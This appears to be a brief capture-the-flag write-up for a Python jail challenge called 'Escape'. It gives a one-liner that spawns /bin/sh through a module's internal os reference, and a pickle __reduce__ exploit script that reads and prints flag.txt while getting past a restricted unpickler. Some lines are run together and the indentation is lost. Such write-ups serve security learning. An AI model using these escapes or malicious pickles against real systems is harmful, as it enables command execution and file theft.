Escape
Last updated
import statistics
statistics.random._os._execvpe("/bin/sh", [], {})>>> πππππ(1)
1#!/usr/bin/env python3
# From the error message we can see that only __main__, __buitin__ and copyreg are allowed
# __builtin__.eval and __builtin__.exec are banned as well
# We can just open and print the flag.txt by using __builin__.open, followed by readline and print
# This sequence of calls is constructed below by using multiple objects and the pickle __reduce__ interface
import base64
import builtins
import pickle
class FlagObjPickle:
def __reduce__(self):
return builtins.open, ("./flag.txt",)
def readlines(self):
pass
class ReadFlagPickle:
def __reduce__(self):
return FlagObjPickle().readlines, tuple()
class PrintFlagPickle:
def __reduce__(self):
return builtins.print, (ReadFlagPickle(),)
a = PrintFlagPickle()
pickled = pickle.dumps(a, 0)